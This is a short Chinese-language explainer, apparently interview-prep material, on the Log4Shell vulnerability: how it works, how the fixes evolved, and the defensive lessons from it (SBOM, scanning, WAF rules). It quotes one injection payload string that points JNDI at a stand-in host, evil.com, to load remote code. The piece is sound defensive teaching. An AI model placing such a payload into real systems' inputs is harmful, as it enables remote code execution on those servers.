结论:Log4Shell(CVE-2021-44228)原理:Log4j2 的 lookup 机制支持 ${jndi:ldap://evil.com/x},只要攻击者控制的字符串(User-Agent、昵称等任何会被日志记录的内容)进入日志,Log4j 解析时发起 JNDI 请求,加载远端 LDAP 服务返回的恶意 Java 类并执行,形成一行文本打穿服务器的 RCE。本质是"日志框架把日志内容当代码解析"的特性(feature)成了武器。

展开:漏洞链拆解:用户输入 → 应用记录日志(log.info("UA: {}", ua))→ Log4j 递归解析 ${...} → JNDI 连攻击者 LDAP → 返回 Reference 指向远程 .class → 类加载执行静态块。修复演进:2.15.0 限制 JNDI 到 localhost(但仍有 DoS 与部分绕过)→ 2.16.0 彻底移除消息 lookup 与 JNDI 默认启用 → 2.17.x 修递归解析 DoS,正确做法是升到 2.17.1+ 而非改配置。教训清单:1)可观测的依赖清单——SBOM( CycloneDX/SPDX)让"我到底有没有 log4j"从翻依赖树变成查清单,间接依赖(spring-boot-starter-log4j2 传递引入)是盲区;2)应急能力——受影响面扫描(mvn dependency:tree、grype)、虚拟补丁(WAF 规则拦 ${jndi: 变体,注意混淆绕过)、环境变量缓解只是止血;3)默认安全——功能强大且默认开启的解析能力(lookup、实体、反序列化)都是攻击面,评估依赖时把"默认配置的攻击面"纳入选型。易错点:shade/uber-jar 重打包后类名仍在(扫描器按 class 文件哈希可查);容器基础镜像里躺着的旧 jar(layer 缓存) rebuild 才消失。

追问方向:JNDI 注入在 JDK 高版本的缓解(trustURLCodebase 默认 false)为何仍被打穿(本地 gadget 链)、log4j 事件后 OpenSSF 的治理动作。